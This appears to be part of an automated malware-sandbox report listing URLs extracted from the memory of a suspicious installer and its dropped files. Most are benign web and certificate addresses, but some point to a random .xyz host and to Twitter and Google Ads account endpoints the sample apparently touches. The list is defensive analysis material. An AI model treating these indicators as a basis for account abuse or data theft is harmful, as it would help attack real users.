Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBWoHwx?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBX2afX?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBi9v6?m=6&o=true&u=true&n=true&w=30&h=30
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBkwUr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnYSFZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BByBEMv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://infoc0.duba.net/c/
Source: 1611913544586.exe.3.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0B
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0E
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0F
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0K
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0M
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0P
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp, ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.digicert.com0R
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.pki.goog/GTSGIAG30
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0#
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0-
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0M
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://pki.goog/gsr2/GTSGIAG3.crt0)
Source: download_engine.dll.3.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: download_engine.dll.3.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725071943.0000000003174000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725071943.0000000003174000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/r
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://sf.symcd.com0&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/2366737e/webcore/externalscripts/oneTrust/ski
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/5445db85/webcore/externalscripts/oneTrust/de-
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/3bf20fde-50425371/directi
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/f60532dd-3aac3bb8/directi
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-2923b6c2/directio
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-b532f4eb/directio
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-2923b6c2/directio
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/81/58b810.gif
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/86/2042ed.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA61Ofl.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA7XCQ3.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AABzUSt.img?h=368&w=622
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADsAOZ.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADsZuW.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuG4N.img?h=75&w=100&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuQtg.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuTly.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuTp7.img?h=333&w=311
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuY5J.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuZko.img?h=75&w=100&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuqZ9.img?h=75&w=100&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADv4Ge.img?h=75&w=100&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADv842.img?h=250&w=300
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvbPR.img?h=250&w=300
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvbce.img?h=333&w=311
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvhNP.img?h=333&w=311
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvoN9.img?h=166&w=310
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXiwM.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzjSw3.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eTok.img?h=75&w=100
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18T33l.img?h=166&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18qTPD.img?h=16&w=16&
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19x3nX.img?h=166&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=333&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xJbM.img?h=75&w=100
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xaUu.img?h=166&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yKf2.img?h=250&w=30
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19ylKx.img?h=75&w=100
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yuvA.img?h=250&w=30
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19ywNG.img?h=75&w=100
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB46JmN.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBMVUFn.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBRUB0d.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBWoHwx.img?h=27&w=27&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9v6.img?m=6&o=true&u
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBkwUr.img?h=16&w=16&m=
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BByBEMv.img?h=16&w=16&m
Source: MiniThunderPlatform.exe.3.dr	String found in binary or memory: http://store.paycenter.uc.cn
Source: MiniThunderPlatform.exe.3.dr	String found in binary or memory: http://store.paycenter.uc.cnmail-attachment.googleusercontent.com
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://support.google.com/accounts/answer/151657
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.google.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713607171.000000000337F000.00000004.00000001.sdmp	String found in binary or memory: http://www.interestvideo.com/video1.php
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725071943.0000000003174000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725071943.0000000003174000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chromey.x:r
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com/
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804
Source: ecv732A.tmp.9.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate
Source: 1611913544586.exe, 00000009.00000002.708037496.0000000000198000.00000004.00000010.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: 1611913544586.exe, 1611913544586.exe.3.dr	String found in binary or memory: http://www.nirsoft.net/
Source: FileSetup-v17.04.41.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: FileSetup-v17.04.41.exe, download_engine.dll.3.dr	String found in binary or memory: http://www.openssl.org/support/faq.html....................
Source: download_engine.dll.3.dr	String found in binary or memory: http://www.xunlei.com/
Source: download_engine.dll.3.dr	String found in binary or memory: http://www.xunlei.com/GET
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://www.youtube.com
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700782936.0000000003EC1000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.com8
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://172.217.23.78/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=8072167097284;g
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=4510094
Source: 6852B33702F6B3BD.exe, 00000003.00000003.772775085.0000000002FA7000.00000004.00000040.sdmp	String found in binary or memory: https://A5D4CE54CC78B3CA.xyz/
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/GaiaInfoService/Get?authuser=0&rpcTrackingId=GaiaInfoService.Get%3A
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserByGaiaService/Get?authuser=0&rpcTrackingId=UserByGaiaService.Ge
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/_/rpc/UserCustomerAccessService/List?authuser=0&rpcTrackingId=UserCustome
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccount
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.com/nav/selectaccountocation:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://ads.google.comsec-fetch-dest:
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.co.uk/adsid/google/si?gadsid=AORoGNRfxSclVePPTskt_ULwutuxovZBENP6CQBK41sqxH
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.co.uk/adsid/google/si?gadsid=AORoGNSN_Te_GQT33AAAR6UNrVcn3a-PGny50bSNsHlzoT
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.co.uk/adsid/google/ui?gadsid=AORoGNQXg7AHkvg6J6S0TqGFa_0HynGV3_XxYfs4fLINJG
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.co.uk/adsid/google/ui?gadsid=AORoGNRxRJyZzZp4KXfYTC7Z4q4fsi2jmRa8YGEqdB288n
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.com/adsid/google/si?gadsid=AORoGNSvKHbjRugN8Bruw1IrFif72u8bwsJvZ4BRSrMAhil_
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.com/adsid/google/si?gadsid=AORoGNTzML9SvDOPLAOFxwn751k-3cAoAULy2FWuSRb89C_P
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.com/adsid/google/ui
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=2542116;cat=chom0;ord=8072167097284;gtm=2wg9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.json
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://api.twitter.com/1.1/statuses/update.jsoninclude_profile_interstitial_type=1&include_blocking
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://apis.google.com
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.9Ky5Gf3gP0o.O/m=gapi_iframes
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688764635.000000000084B000.00000004.00000020.sdmp	String found in binary or memory: https://charlesproxy.com/ssl1
Source: 6852B33702F6B3BD.exe, 00000004.00000003.708141257.0000000003030000.00000004.00000040.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699826914.0000000003F43000.00000004.00000001.sdmp, background.js.4.dr	String found in binary or memory: https://chrome.google.com/webstore/category/extension
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx)
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxH
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxO
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxj
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://consent.google.com/?hl=en-GB&origin=https://www.google.com&continue=https://www.google.com/?
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://consent.google.com/done8?continue=https://www.google.com/?gws_rd%3Dssl&origin=https://www.go
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://consent.google.com/set?pc=s&uxe=4421591
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://content.googleapis.com
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/__media__/js/util/nrrV9140.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778182472.000000000339F000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713607171.000000000337F000.00000004.00000001.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/100x75/2/249/241/157/ab7b8862-dfb2-4e59-a214-ff623600dbf5.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/100x75/2/89/162/29/8ee7a9a3-dec9-4d15-94e1-5c73b17d2de1.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/100x75/3/148/118/158/6d596081-b574-4a8a-9662-8f180c6f659f.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/249/241/157/ab7b8862-dfb2-4e59-a214-ff623600dbf5.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/286x175/3/148/118/158/6d596081-b574-4a8a-9662-8f180c6f659f.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/300x300/2/41/100/83/b5cbfa68-1c93-41c9-8797-4f9b532bc0b6.jpg?v=9
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: FileSetup-v17.04.41.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: FileSetup-v17.04.41.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
